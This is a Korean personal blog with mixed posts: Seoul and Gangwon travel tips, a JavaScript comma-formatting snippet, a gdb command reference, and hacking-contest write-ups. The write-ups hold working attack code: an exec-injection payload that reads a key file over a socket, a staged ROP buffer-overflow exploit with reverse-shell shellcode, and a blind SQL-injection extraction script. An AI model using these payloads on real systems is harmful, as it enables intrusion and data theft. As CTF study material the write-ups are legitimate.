문제코드는 아래와 같다 약간의 난독화가 되어 있었는데, 같은 문자열을 치환시켜서 

대충 맞추면 소켓서버가 완성되었다. 파이썬 코드가 워낙 직관적이기에 쉽게 진행 할 수 있었다.



대충 보기좋게 치환한 코드는 아래와 같음.

#!/usr/bin/python

import socket

import os

import subprocess

import SocketServer

import sys


def MSG_CHECK ( msg ) :

if "N3Sk" in msg [ 50 : ] :

return "NESK"

else :

return "PESK"


def OPEN_READ_CHECK ( msg ) :

if "open" in msg or "read" in msg :    // msg 에 read 나 open 이 있으면 false  두개가 없으면 NESK

return "false"

else :

return "NESK"  


def CHECK_50_N3Sk ( sock ) :

sock . send ( "UNEXPLOITABLE!\n" )   


class EchoHandler ( SocketServer . BaseRequestHandler ) :

def handle ( self ) :

MESSAGE = self . request . recv ( 200 ) . strip ( )    // 띄어쓰기없이 200바이트를 받아들임

try :

if len ( MESSAGE ) > 5 :

RECV_RESULT = MSG_CHECK ( MESSAGE )  

//  문자열이 5글자 이상이면 MSG_CHECK를 함  50번째 이후에 N3Sk가 있어야 NESK를 리턴 


if RECV_RESULT == "NESK" :  // msg 50번째 이후에 N3Sk가 있으면 참 값..

try :

if OPEN_READ_CHECK ( MESSAGE ) == "NESK" :   

                                                                               // OEPN_READ 함수의 값이 NESK 이면(즉 open read가 없으면)

       //이부분에서 open 이나 read 함수를 쓸수 없다는 것을 말함.


exec MESSAGE //MSG를 실행함.

except :

return

else :

CHECK_50_N3Sk ( self . request )


except KeyError , IIII :

pass


if __name__ == "__main__" :

SOCK_SERVER = SocketServer . TCPServer ( ( "localhost" , 7997 ) , EchoHandler )

SOCK_SERVER . serve_forever ( )





조건은 정리해 보면 아래와 같다.


0. 상대방은 7997 로 서버프로그램을 하나 돌리고 있다.

1. 50번째부터 N3Sk 란 문자열이 있어야한다.

2. read 나 open 함수를 사용 할 수는 없다.

3. exec 에 들어갈 파이썬 코드는 key 값을 읽을 수 있어야 한다. 

4. exec 안에 들어갈 파이썬 코드는 문법상 오류가 생기면 않된.

5. 실행된 결과 값은 나에게 다시 전송시켜 줘야 한다. (데몬은 상대방 서버에서 돌기 때문)


이 문제는 python 의 exec 는 파이썬 코드 자체를 실행 시킬수 있다는 점을 이용한 문제 + 소켓 디스크립트에 직접 파일을 쓸수 있는가 하는 문제이다. 소켓 디스크립트는  4번을 쓴다.


PAYLOAD는 다음과 같다.  


[import os;os.system('cat key > &4');][ A * 50 ] [ N3Sk 문자열.. 하지만 파이썬 문법에 어긋나면안됨] |  nc [ 상대방 서버 ] [서버의 포트 ]


위와 같은 페이로드가 맞으면 exec 는 os.system 함수를 호출하고 system 함수는 cat key를 실행하여 client socket 디스크립트로

전송시킨다. 이때 실행코드로 들어가기 위해서는 N3Sk 란 글자가 50번째 이후에 반드시 존재하여야 한다. 


connection 이 맺어진 뒤 client socket descript 로 전송하게 되면 Client 화면에 키 값이 출력 된다.


위와같은 결과값을 상대방 서버에 접속한다.



root@k1rha:/HACK/HDCON# 

python -c 'print "import os;os.system(\"cat key >&4 \");"+"A"*50+"N3Sk=0"' | nc 127.0.0.1 7997


Get key succcess 


root@k1rha:/HACK/HDCON# 











Posted by k1rha
2013. 7. 10. 00:02

<script language="javascript">


function commify(n) {

  var reg = /(^[+-]?\d+)(\d{3})/;   // 정규식

  n += '';                          // 숫자를 문자열로 변환


  while (reg.test(n))

    n = n.replace(reg, '$1' + ',' + '$2');


  return n;

}



정규 표현식 으로 금액 (,) 표기 하기 금액을 표기해주는 함수는 없는듯하다.

이렇게해서 그때그때 잘 써먹어야지..





Posted by k1rha
2013. 6. 17. 17:30

HDCON REMOTE BOF 


Hacked by singi , exploiting & report by 광운



hdconNo5_exp.py

luckyzzang



공격 페이로드는 아래와 같다.


STAGE1 = SEND + PPPR + SOCKFD + GOT_TIME + VALUE_0x4 + NULL + \

              FUNC + AAAA + SOCKFD


STAGE2 = MPROTECT + PPPR + CUSTOM_STACK + SIZEOF_CUSTOM + MODE_EXEC +\

               RECV + RETURN_CUSTOM + SOCKFD + CUSTOM_STACK + SHELLCODELEN + NULL


STAGE3 = SELLCODE



from socket import *

import sys

import struct


SHELLCODE ="\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x66\x68\x22\xb8\x66\xb9\x02\x00\x66\x51\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0\x66\x31\xdb\x43\x43\x43\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

SHELLCODELEN = struct.pack('<L', len(SHELLCODE))


PLT_SEND = 0x08048610

GOT_TIME = 0x804a004

ADDR_FUNC = 0x080486d4


PPPR = struct.pack('<L', 0x804878d)

PPPPR = struct.pack('<L', 0x80489cc)

STAGE1 = '\x41' * 1036 + struct.pack('<L', PLT_SEND) + PPPPR + '\x04\x00\x00\x00' + struct.pack('<L', GOT_TIME)

STAGE1 += '\x04\x00\x00\x00' + '\x00\x00\x00\x00' +struct.pack('<L', ADDR_FUNC) + '\x41\x41\x41\x41' + '\x04\x00\x00\x00'


if __name__ == '__main__':

s = socket(AF_INET, SOCK_STREAM)

s.connect(('127.0.0.1', 7777))


s.recv(1024)

s.send(STAGE1)


ADDR_TIME = struct.unpack('<L', s.recv(4))[0]


ADDR_MPROTECT = ADDR_TIME + 0x41B70

ADDR_RECV = ADDR_TIME + 0x48080


STAGE2 = '\x41' * 1036 + struct.pack('<L',ADDR_MPROTECT ) + PPPR + '\x00\x80\x04\x08' + '\x00\x10\x00\x00'

STAGE2 += '\x07\x00\x00\x00' + struct.pack('<L', ADDR_RECV) + '\x91\x87\x04\x08' + '\x04\x00\x00\x00'

STAGE2 += '\x91\x87\x04\x08' + SHELLCODELEN + '\x00\x00\x00\x00'


s.recv(1024)

s.send(STAGE2)

s.send(SHELLCODE)


s.close()




Posted by k1rha
2013. 6. 17. 16:02

요즘 날씨도 더워지고 있지만, 아직 피서철(성수기)은 아니기에

요즘 여행을 갈 수 있는 적기 인 것 같습니다.

몇가지 추천을 해보려고 합니다.^^


1. 정선 짚와이어



놀이기구를 못타는 사람이더라도 도전(?) 할 만한 곳입니다. 내려가면서 보는 경치는 그야말로

장관이라고 할 수 있습니다. 1인당 가격은 4만원이고, 전화를 통해서 예약하시는 것이 좋습니다.

짚와이어를 타면 스카이워크는 무료로 즐기수 있다고 하네요^^


2. 태백 백두대간협곡열차(V-Train)



백두대간협곡열차 철암~분천으로 가는 기차중에서 관광용으로 통유리로 제작하여 운행하고 있는데요.

27.7km를 운행하며, 시속 30km/h로 느리게 가기때문에 사진을 찍기에 제격입니다.^^

또한 가격도 1인당 8400원으로 저렴하기 때문에 시원한 계곡을 즐기기에 좋은 것 같습니다.

예매 방법은 코레일 홈페이지나 App을 가지고 출발 - 철암(or 분천) / 도착 - 분천(or 철암)으로 하셔서

새마을호 486X 번호를 가진 열차를 예매하시면 됩니다.


3. 대관령 양떼목장(삼양목장)



대관령에 여러개의 목장이 있는거 아십니까? 그중에서 추천하는 곳은 삼양목장입니다.

왜 삼양이냐? 삼양라면을 만드는 삼양에서 목장을 운영하고 있기 때문이지요.^^

들어가시면 라면이나 과자들을 매우 싸게 구매하실수 있습니다. 

600여 만평으로 너무 커서 전망대까지 셔틀버스로 관광을 하셔야합니다.

총 5개의 목책로가 있는데, 버스를 타면 전망대에서 내려주고, 내려오면서 구간의 시작지점에서

버스가 정차하여서 걸어다니면서 구경하시면 됩니다.

참고로 삼양목장으로 가실때에는 차가 거의 필수적입니다. 택시를 타고 간다고 해도,

돌아올때는 콜택시를 불러도 기사님이 오지 않는 답니다.^^;;;;;

요금은 인당 8000원이고, 6월은 오후 5시 30분까지 운영합니다.


모두 제가 다녀온 곳인데요~^^정말 강추하는 세곳입니다.

앞으로 서울이나 국내 여행지를 앞으로 시리즈로 소개할까합니다.^^

이성친구가 있는 회원들은 항상 데이트 장소에 대해서 고민하기 때문에 공유차원에서...^^;;

그럼 다음 회(?)에서 봐요^^(반응 봐서....ㅋㅋ) 



Posted by k1rha
2013. 6. 17. 16:01

이번 국여소 2탄은 서울에 가볼만한 데이트 장소를 소개하고자 합니다.^^

물론 다 제가 가본 곳 이지요~^^ 직접 가보았기 때문에 검증(?) 된 곳이라고 할 수 있겠네요.


1.  동작 대교 노을 카페



이 사진은 제가 직접 핸드폰으로 찍은 사진인데요^^

이름이 노을카페인 것 처럼 노을 시간 때에 가시서 멋진 노을을 바라보고 이어서 야경까지 보며, 데이트를 할 수 있는 곳입니다.

음료 가격대는 8천원~1만원 정도하고 음식도 팔긴 하지만 별로 추천해드리고 싶지는 않습니다.

음식을 먹는 분위기는 아닌 듯해요(먼가 어수선함ㅋ자리 싸움?)

가는 방법은 동작대교 건너는 버스를 타시거나 자차를 이용하시면 바로 앞에 주차장이 있으니 주차하시고 이용하면 됩니다.


2. 부암동 산모퉁이 카페



이 또한 제가 직접 찍은 사진입니다. 부암동이라고 하면 생소하게 생각하는 분들도 있을텐데요.

북악스카이웨이는 들어보셨나요? 그 주위에 있는 부암동 카페 입니다.

풍경이 너무나도 아름다운 곳입니다. 하지만 단점은 그만큼 사람들이 너무 많다는 것입니다.

너무 유명해져서 일본인 중국인 관광객까지 오면서 너무 시끌벅적 합니다.

주중에 가면 조금 한가하다고 하는데요. 학생들에게 주중은 자유로울 수 있으니 추천합니다.

또한 주차공간이 없어서 택시를 타고 가시거나 버스를 타고 주위에 내려서 운동겸(?) 걸어가는 것을 추천합니다.

가격대는 1만원 안밖입니다.^^


3. 잠수교(반포대교) 분수



이 사진은 제가 아는 지인이 DSLR로 찍은 사진입니다.

마지막으로 소개할 곳은 잠수교 분수쇼인데요. 저도 우연치 않게 가서 정말 즐겁게 보아서 추천드립니다.

당연히 무료구요. 밤 8시 이후로 가야 어두워서 멋있게 보이겠죠?

분수 시간을 같이 넣어두니까 참고하시면 될 것 같네요^^


모두 가본 곳 중에서 좋았던 곳들을 나열해 보았어요~^^

더 좋은 곳도 많아서 소개해줄 곳이 많네요^^ 이번 주에 이성친구와 함께 가보세요^^ 


없으면..............................


.....................


...........



.........


.......


....


..


.



Posted by k1rha
2013. 6. 10. 23:02

 

gdb 사용법 ( 출처 : http://www.viper.pe.kr/docs/gdb-manual.html ) - 라이센스가 있을 경우 알려주세요.


자식 프로세스로 바로 분석 하는 법 : set follow-fork-mode child

 

 사용법 
 

help  

도움말, 명령어 분류 목록 출력

help [class]

해당 class에 속한 명령어 목록 표시

help [command]

해당 command에 대한 도움말 표시

    *** class와 command의 축약형도 지원됨


  명령어 분류 목록
 

running

프로그램 수행

support

지원 도구

stack  

스택 검사

user-defined

사용자 정의 명령

data  

데이타 검사

aliases

다른 명령어의 별칭

files

검사할 파일

obscure

기타

status

상태 조회

internals

유지보수 명령

breakpoints

어떤 포인트에서 프로그램을 중단하게 만듦

 


  프로그램의 수행 (running) 
 

show args

디버깅할 프로그램에 전달되는 argument를 보여준다.
이 명령어 다음에 몇 개의 argument가 온다.

info handle

프로그램이 각종 신호를 입력으로 받았을 때, 디버거의 동작법을 보여준다.

kill

디버깅 중인 프로그램의 실행을 취소한다.

target    

타겟 기계나 프로세스에 연결한다.
첫번째 argument는 타겟 기계의 타입이나 프로토콜이다. 나머지 argument는 타겟 프로토콜에 의해서 해석 되어진다. 특정 프로토콜에 작동하는 argument에 관해 추가 정보가 필요하면, [help target 프로토콜명]을 친다.

[target 서브 명령어 목록]
 

target exec  

타겟으로서 실행 파일을 사용한다.

target extended-remote

시리얼 라인을 경유해 떨어져 있는 컴퓨터를 타겟으로 사용

target remote

시리얼 라인을 경유해 떨어져 있는 컴퓨터를 타겟으로 사용

target core

타겟으로서 코어 파일을 사용한다.

target child

([run] 명령어에 의해 시작된) 유닉스의 자식 프로세스를 타겟으로 사용한다.

 

handle

신호를 어떻게 다룰지 상술함
argument는 신호와 그 신호에 적용할 동작이다. 심벌 신호(즉 SIGSEGV)가 권장 사항이지만, 1-15의 숫자 신호도 GDB의 이전 버젼과의 호환성을 위해 허용된다. 숫자 범위는 LOW-HIGH(즉 1-5)의 형태로 지정되어질 수 있다.
특별한 argument "all"은 대체로 SIGTRAP과 SIGINT처럼 디버거에 의해 사용되어지는 것을 제외한 모든 신호를 의미한다고 인식되어진다.
동작에는 "stop", "nostop", "print", "noprint", "pass", "nopass", "ignore", "noignore"가 있다.

 "stop"은 디버거로 다시 들어감을 의미한다("print"를 포함한다).   
 "print"는 메세지를 프린트함을 의미한다.
 "pass"는 프로그램이 이 신호를 인식할 수 있도록 함을 의미한다; 그렇지않으면 프로그램은 알 수 없다.
 "ignore"는 "nopass"와 같은 말이며, "noignore"도 "pass"와 같은 말이다.
 "pass"와 "stop"은 결합해서 사용할 수 있다.

run

디버깅할 프로그램의 수행을 시작한다.
전달할 argument를 지정할 수 있다. argument는 "*"나 "[..]"를 포함할 수도 있다; 쉘의 사용까지도 확장 될 수 있다. ">", "<", ">>" 같은 입출력 방향 재지정 기호도 또한 허용된다.
argument 없이, 마지막으로 지정된 argument를 사용할 수 있다("run" 또는 "set args"에 의해) 이전의 argument를 취소하고 argument 없이 실행하기 위해서, "set args" 를 argument 없이 사용하라.

continue

신호나 breakpoint 후에, 디버깅할 프로그램의 수행을 계속한다.
만약 breakpoint에서부터 진행된다면, 숫자 N이 argument로 사용되어질 수 있으며, 이는 breakpoint의 무시할 갯수가 N-1로 정해진다는 것을 의미한다. (그래서 breakpoint 가 N번째에 이를 때까지 분기하지 않는다)

jump

지정된 라인이나 주소에서 디버깅할 프로그램의 수행을 계속한다.
LINENUM이나 *ADDR을 argument로 준다.

until

프로그램이 현재 라인보다 큰 라인이나 또는 지정된 라인이나 어드레스 또는 함수에 도달할 때까지 수행한다(break 명령과 동일한 argument). 
실행은 현재의 스택 프레임으로 부터 빠져나오면서 중지될 것이다.

step

다른 소스 라인에 도달할 때까지 프로그램의 수행을 건너뛴다.
argument N은 이를 N번 수행하라는 의미다(또는 다른 이유로 인해 프로그램이 중지될 때까지).

next

서브루틴을 호출하여 진행하면서 프로그램의 수행을 건너뛴다.
서브루틴 호출이 발생하지 않는한 "step" 명령어와 같다.
이 명령어가 수행될 때, 호출은 하나의 명령으로 다루어진다.
argument N은 이를 N번 수행하라는 의미다(또는 다른 이유로 인해 프로그램이 중지될 때까지).

finish

선택된 스택 프레임이 리턴될 때까지 수행한다. 리턴되면서, 리턴되는 값은 출력되어지고 값 히스토리에 입력된다.

nexti

명령 하나를 건너뛰지만, 서브루틴 호출은 진행한다. argument N은 이를 N번 수행하라는 의미다(또는 다른 이유로 인해 프로그램이 중지될 때까지).     

stepi

정확하게 명령 하나를 건너 뛴다. argument N은 이를 N번 수행하라는 의미다(또는 다른 이유로 인해 프로그램이 중지될 때까지).

signal

argument에 의해 지정된 신호를 주면서 프로그램의 수행을 계속한다.
argument "0"은 신호를 주지 않으면서 프로그램을 계속 수행하라는 의미다.

detach

이전에 첨부된 프로세스나 파일을 제거하라. 만약 프로세스이면, 더 이상 추적할 필요 없이 수행을 계속한다. 만약 파일을 디버깅 중이라면, 그 파일은 닫히고 gdb는 더 이상 억세스 하지 않는다.

attach

GDB 바깥의 프로세스나 파일을 첨부한다. 이 명령어는 'target' 명령어처럼 다른 타겟에 부가되어진다('info files'는 당신의 타겟 스택을 보여줄 것이다).
이 명령어는 프로세스 id나 디바이스 파일을 argument로 가질 수 있다.
프로세스 id에 대해, 당신은 프로세스로 신호를 보낼 수 있는 권한을 가지고 있어야만 하며, 디버거와 똑같은 영향을 가지는 uid를 가지고 있어야 한다.
"attach" 명령을 사용할 때, 프로세스에서 프로그램 동작을 상술하며 심벌 테이블을 로딩하는 명령 "file"을 사용해야 한다.

unset environment  

프로그램에 대한 환경변수 VAR을 취소한다.
이 명령은 이후에 "run" 명령을 수행했을 때, 프로그램에 영향을 미친다.

tty

디버깅할 프로그램의 앞으로의 수행을 위해 터미널을 셋팅한다.

set environment

프로그램에 전달할 환경변수 값을 셋팅한다.
argument는 VAR VALUE인데, 여기에서 VAR은 변수명이고 VALUE는 값이다.
환경변수의 VALUE는 해석되지 않은 스트링이다. 이 명령은 이후에 "run" 명령을 수행했을 때, 프로그램에 영향을 미친다.

set args

프로그램이 시작될 때, 디버깅할 프로그램에 전달할 argument를 셋팅한다.
이 명령어 다음에 프로그램에 전달될 몇 개의 argument가 따라온다.

thread

thread간 스위칭을 위해 이 명령을 사용한다. 새로운 thread ID를 반드시 알고 있어야 한다.
 

thread

서브명령어의 목록

thread apply

thread 목록에 명령을 적용한다.

thread apply all

모든 thread에 명령어를 적용한다.

 

 


  스택을 검사 (stack)

    스택은 스택 프레임으로 구성되어진다. gdb는 스택 프레임에 번호를 지정한다.
    gdb는 가장 안쪽에 있는(현재 실행중인) 프레임에 대해 0번 부터 번호를 부여한다. 항상 gdb는 한 프레임을 선택된 프레임으로 간주한다. 변수 룩업은 선택된  프레임에 대하여 이루어진다. 디버깅 중인 프로그램이 정지될 때, gdb는 가장 안쪽에 있는 프레임을 선택한다. 아래 명령어들은 숫자나 어드레스에 의해서 선택된 다른 프레임에 대해서도 사용되어질 수도 있다.

     명령어 목록 

bt

모든 스택 프레임이나 가장 안쪽에 있는 COUNT 프레임의 backtrace를 출력한다. argument가 음수일 때, 가장 바깥쪽의 -COUNT 프레임을 출력한다.

backtrace

bt 명령어와 동일하다.

select-frame

아무런 출력 없이 스택 프레임을 선택한다. argument는 선택할 프레임을 상술한다. 그것은 스택 프레임 번호이거나 프레임  어드레스일 수도 있다.

frame

스택 프레임을 선택하고 출력한다.
argument 없이 사용하면, 선택된 스택 프레임을 출력한다("info frame" 참조) argument 는 선택할 프레임을 상술한다. 그것은 스택 프레임 번호이거나 프레임 어드레스일 수도 있다. argument와 같이 사용할 경우에, 입력이 명령 파일이나 사용자 정의 명령에 근거한다면 출력되는 것은 아무 것도 없다.

down

이 명령에 의해 호출된 스택 프레임을 선택하고 출력한다. argument는 얼마나 많은 프레임을 down 해야할지를 말해준다.

up

이 명령에 의해 호출된 스택 프레임을 선택하고 출력한다. argument는 얼마나 많은 프레임을 up 해야할지를 말해준다.

return

선택된 스택 프레임으로 하여금 호출자에게 리턴값을 돌려주도록 한다.
디버거에 제어가 남아 있지만 당신이 계속할 때, 실행은 현재 선택된 것보다 위에 있는 프레임에서 계속될 것이다.
만약 argument가 주어진다면, 리턴값에 대한 표현이다.



  데이타를 검사 (data)

     명령어 목록

whatis

expression EXP의 데이터 타입을 출력한다.

ptype

타입 TYPE의 정의를 출력한다. argument는 typedef, "struct STRUCT-TAG",  "class CLASS-NAME", "union UNION-TAG", "enum ENUM-TAG"에 의해 정의된 타입명이다.
선택된 스택 프레임의 어휘적인 문맥은 그 명칭을 찾는데 사용되어진다.

inspect

당신이 epoch 환경에서 실행중이라면 그 값이 자신의 창에 출력된다는 것을 제외하면 "print" 명령과 동일하다.

print

expression EXP의 값을 출력한다.

call

프로그램 내에 있는 함수를 호출한다. argument는 현재 작업중인 언어의 표기에서 함수명과 argument이다. void가 아니라면, 결과는 value history에 기록 되어지고 출력될 것이다.

set

변수 VAR 대해 표현 EXP와 지정된 결과를 계산한다.

output

"print"와 유사하지만, value history에 입력하지 않고 개행문자도 출력하지 않는다.

undisplay

프로그램이 정지할 때마다 출력되는 몇몇 표현을 취소한다.

disassemble

메모리의 특정 부분을 해체한다.
x 메모리를 검사한다. : x/FMT ADDRESS

delete display

display 기능을 삭제한다.

disable display

display 기능을 disable시킨다.

enable display

display 기능을 enable시킨다.



  특정 지점에서 프로그램을 정지시키기

     명령어 목록

awatch

한 표현에 대해 watchpoint를 셋팅한다.

rwatch

한 표현에 대해 read watchpoint를 셋팅한다.

watch

한 표현에 대해 watchpoint를 셋팅한다.

catch

발생되는 예외를 잡아내기 위해 breakpoint를 셋팅한다.

break

특정 라인이나 함수에 breakpoint를 셋팅한다.

clear

특정 라인이나 함수에 있던 breakpoint를 삭제한다.

delete

몇몇 breakpoint나 자동으로 출력되는 표현을 삭제한다.

disable

몇몇 breakpoint를 disable시킨다.

enable

몇몇 breakpoint를 enable시킨다.

thbreak

breakpoint를 지원하는 일시적인 하드웨어를 셋팅한다.

hbreak

breakpoint를 지원하는 하드웨어를 셋팅한다.

tbreak

일시적인 breakpoint를 셋팅한다.

condition

breakpoint 번호 N을 오직 COND가 참일 경우에만 분기하도록 지정한다.

commands

breakpoint를 만났을 때, 실행될 명령어를 셋팅한다.

ignore

breakpoint 번호 N을 무시하는 번호로 셋팅한다.

 


  파일의 상술 및 검사

     명령어 목록

show gnutarget

현재의 BFD 타겟을 셋팅한다.

cd

디버깅 중인 프로그램과 디버거를 위한 작업 디렉토리를 DIR로 셋팅한다.

pwd

작업 디렉토리를 출력한다.

core-file

메모리와 레지스터의 검사를 위한 core dump로서 FILE을 사용한다.

section

실행 파일의 섹션 SECTION의 기본 어드레스를 ADDR로 변경한다.

exec-file

순수한 메모리의 내용을 얻기 위한 프로그램으로서 FILE을 사용한다.

file  

디버깅할 프로그램으로서 FILE을 사용한다.

path

디렉토리 DIR을 목적 파일에 대한 검색 시작점으로 추가한다.

load

실행중인 프로그램 속으로 FILE을 역동적으로 로딩한다.

add-shared-symbol-files

dynamic linker의 link map에 있는 shared object로 부터 심벌을 로딩한다.
add-symbol-file 사용법 : add-symbol-file FILE ADDR

symbol-file

실행파일인 FILE로부터 심벌 테이블을 로딩한다.

set gnutarget

현재의 BFD 타겟을 셋팅한다.

list  

지정된 함수나 행을 출력한다.

reverse-search  

출력된 마지막 행에서부터 정규 표현식에 대해 역방향으로 검색한다.

search

출력된 마지막 행에서부터 정규 표현식에 대해 검색한다. (regex(3) 참조)

directory

원본 파일에 대한 검색 경로의 시작에 디렉토리 DIR을 추가한다.



  상태 조회

     명령어 목록

show

디버거에 관한 것을 보여주는 포괄적인 명령어

info

디버깅 중인 프로그램에 관한 것을 보여주는 포괄적인 명령어



  지원 도구

     명령어 목록 

if

IF 조건이 0이 아닐 경우, 지정된 명령어들을 실행한다.

while

WHILE 조건이 0이 아닐 경우, 지정된 명령어들을 실행한다.

show confirm

위험한 작동을 확인할지를 보여준다.

show history  

명령어 history 파라메터를 보여주기 위한 포괄적인 명령어이다.

show editing

명령어 라인의 편집을 보여준다.

show verbose

장황한 설명을 보여준다.

show prompt  

gdb의 프롬프트를 보여준다.

show complaints

잘못된 기호에 관해 경고 메세지의 최대 수를 보여준다.

show demangle-style

현재의 C++ 스타일을 보여준다.

show write    

실행 파일과 코어 파일에 쓰여지는 것을 보여준다.

show check range  

검사할 범위를 보여준다.

show check type

검사할 타입을 보여준다.

show language

현재의 원본 언어를 보여준다.

show remotecache

remote 타겟을 위한 cache 사용을 보여준다.

show auto-solib-add

shared library symbol의 autoloading을 보여준다.

show stop-on-solib-events

shared library event에 대한 중지를 보여준다.

show symbol-reloading

1회 실행에 여러번 재로딩하는 다이나믹 심벌 테이블을 보여준다.

show radix     

입출력 번호 radix의 디폴트 값을 보여준다.

show output-radix

값의 출력을 위한 출력 radix의 디폴트 값을 보여준다.

show input-radix

입력 숫자에 대한 입력 radix의 디폴트 값을 보여준다.

show print object

vtable 정보에 기초한 오브젝트의 파생된 타입의 출력을 보여준다.

show print vtbl

C++의 가상 함수 테이블의 출력을 보여준다.
Show printing of C++ virtual function tables.

show print static-members

C++의 static member의 출력을 보여준다.

show print address

어드레스의 출력을 보여준다.

show print array

배열의 prettyprinting을 보여준다.

show print union

유니온 내부의 출력을 보여준다.

show print pretty

구조체의 prettyprinting을 보여준다.

show print asm-demangle

분해 목록에서 C++ 이름의 결합을 보여준다.

show print sevenbit-strings

스트링에서 \nnn과 같은 8비트 문자의 출력을 보여준다.

show print demangle

심벌을 출력할 때, 인코딩된 C++ 이름의 결합을 보여준다.

show listsize

gdb가 디폴트로 출력할 소스 라인의 숫자를 보여준다.

 show height

gdb가 한 페이지에 넣을 수 있는 행수를 보여준다.

 show width

gdb가 한 라인에 넣을 수 있는 글자수를 보여준다.

 dont-repeat

이 명령을 반복하지 말라.

 help

명령어의 목록을 출력한다.

 quit

gdb를 빠져 나간다.

  source

파일명 FILE로부터 명령어들을 읽어 들인다.

  define

새로운 명령어 이름을 정의한다.

 document

사용자 정의 명령에 해설을 단다.

echo

상수 스트링을 출력한다.

make

argument로서 그 행의 나머지를 사용하는 'make' 프로그램을 실행한다.

shell

쉘 명령으로서 그 행의 나머지를 실행한다.

set confirm

위험스런 작동을 확인할지 셋팅한다.

set history

명령어 history 파라메터 셋팅에 대한 포괄적인 명령어

set editing

명령어 라인의 편집을 셋팅한다

set verbose

장황한 설명 여부를 셋팅한다.

set prompt

gdb의 프롬프트를 셋팅한다.

set complaints

잘못된 심벌에 관한 경고 메세지의 최대 갯수를 셋팅한다.

set demangle-style

현재의 C++ 스타일을 셋팅한다.

set write

실행 파일과 코어 파일에 쓰여지는 것을 셋팅한다.

set check range

검사할 범위를 셋팅한다.

set check type

검사할 타입을 셋팅한다.

set language

현재의 원본 언어를 셋팅한다.

set remotecache

remote 타겟을 위한 cache 사용을 셋팅한다.

set auto-solib-add

shared library symbol의 autoloading을 셋팅한다.

set stop-on-solib-events

shared library event에 대한 중지를 셋팅한다.

set symbol-reloading

1회 실행에 여러번 재로딩하는 다이나믹 심벌 테이블을 셋팅한다.

set radix

입출력 번호 radix의 디폴트 값을 셋팅한다.

set output-radix

값의 출력을 위한 출력 radix의 디폴트 값을 셋팅한다.

set input-radix

입력 숫자에 대한 입력 radix의 디폴트 값을 셋팅한다.

set print object

vtable 정보에 기초한 오브젝트의 파생된 타입의 출력을 셋팅한다.

set print vtbl

C++ 가상 함수 테이블의 출력을 셋팅한다.

set print static-members

C++ static member의 출력을 셋팅한다.

set print address

어드레스의 출력을 셋팅한다.

set print array

배열의 prettyprinting을 셋팅한다.

set print union

유니온 내부의 출력을 셋팅한다.

set print pretty

구조체의 prettyprinting을 셋팅한다.

set print asm-demangle

분해 목록에서 C++ 이름의 결합을 셋팅한다.

set print asm-demangle

스트링에서 \nnn과 같은 8비트 문자의 출력을 셋팅한다.

set print demangle

심벌을 출력할 때, 인코딩된 C++ 이름의 결합을 셋팅한다.

set listsize  

gdb가 디폴트로 출력할 소스 라인의 숫자를 셋팅한다.

set height

gdb가 한 페이지에 넣을 수 있는 행수를 셋팅한다.

set width   

gdb가 한 라인에 넣을 수 있는 글자수를 셋팅한다.

down-silently

'down' 명령어와 동일

up-silently  

'up' 명령어와 동일

 


  사용자 정의 명령어

    이 명령어들은 사용자의 정의에 의해서 만들어진다.
    "define" 명령을 써서 명령어를 정의하라.


  다른 명령어들의 별칭

     명령어 목록 

ni

명령어 하나를 진행한다.

si

명령어 하나를 정확하게 진행한다.

where

모든 스택 프레임을 역추적하면서 그 값을 출력한다.

disable breakpoints

 몇몇 breakpoint를 disable시킨다.



  기 타

     명령어 목록 

complete

명령어로서 그 행의 나머지에 대해 완성된 것을 출력한다.

remote <command>

remote 모니터로 명령을 보낸다.

stop

'stop' 명령어가 없지만, 당신은 'stop'에 대한 hook를 셋팅할 수 있다.
이것은 프로그램 중지가 실행될 때마다 명령어 목록을 셋팅할 수 있게 허용한다.



  유지보수 명령어

    몇몇 gdb 명령어들은 gdb 유지보수자에 의한 사용을 위해 제공되어진다. 이들 명령어들은 자주 변하기 쉬우며, 사용자 명령어들 처럼 상세한 설명이 되어 있지 않다.

     명령어 목록 

show watchdog

watchdog 타이머를 보여준다.

show targetdebug

디버깅 중인 타겟을 보여준다.

maintenance

GDB 유지보수자에 의한 사용을 위한 명령어들

maintenance check-symtabs

psymtab과 symtab의 일관성을 검사한다.

maintenance space

공간 사용의 출력을 셋팅한다.

maintenance time

시간 사용의 출력을 셋팅한다.

maintenance demangle

C++의 분해된 이름을 결합시킨다.

maintenance dump-me

중대한 에러를 취득; 디버거가 자신의 코어를 덤프하게 한다.

maintenance print

 GDB 내부 상태 출력에 대한 유지보수 명령어

    세부 명령어
            maintenance print statistics
            maintenance print objfiles
            maintenance print psymbols
            maintenance print msymbols
            maintenance print symbols
            maintenance print type

maintenance info  

디버깅 중인 프로그램에 관한 내부 정보를 보여주기 위한 명령어

set watchdog

watchdog 타이머를 셋팅한다. non-zero일 때, 이 타임아웃은 타겟에 대해 low-level step을 끝내거나 동작을 계속하게 하기 위해 영원히 기다리는 것 대신 사용되어진다.
만약 지정된 시간 동안 타겟으로부터 응답이 없으면, 에러가 발생한다.

set targetdebug

디버깅할 타겟을 셋팅한다. non-zero일 때, 디버깅할 타겟은 활성화된다.

 


 

 

Posted by k1rha
2013. 6. 10. 15:29

#python

from socket import *

import sys

import struct



IP = "127.0.0.1"

PORT = 80

STD_STR = "1 a"


def MakePacket(UNIT,NUM,RAW=0):


HEADER = "GET /mysql_test.php?id=1%26%26hex(mid((select%0atable_name%0afrom%0ainformation_schema.tables%0alimit%0a1,1),"+str(UNIT)+",1))="

FOOTER = " HTTP/1.0\r\n\r\n"

SEND_PACKET =  HEADER + str(NUM) + FOOTER

return SEND_PACKET


def SendPacket(UNIT, NUM):

sock  = socket(AF_INET,SOCK_STREAM)

sock.connect((IP,PORT))

_sendData = MakePacket(UNIT,NUM)

sock.send(_sendData)

data=sock.recv(10240)

return data 


def main():

RESULT=''

for i in range (1,20):

for j in range (30,128):

RES = SendPacket(i,j)

if RES.find(STD_STR) > 0 :

RESULT = RESULT + str(j)

print RESULT.decode("hex")



if __name__== "__main__" :

main()



Posted by k1rha
2013. 5. 30. 22:51

python exploit 코드들에서 자주 나오는 lambda 사용법으로 인한 pack 에 대한 이해 


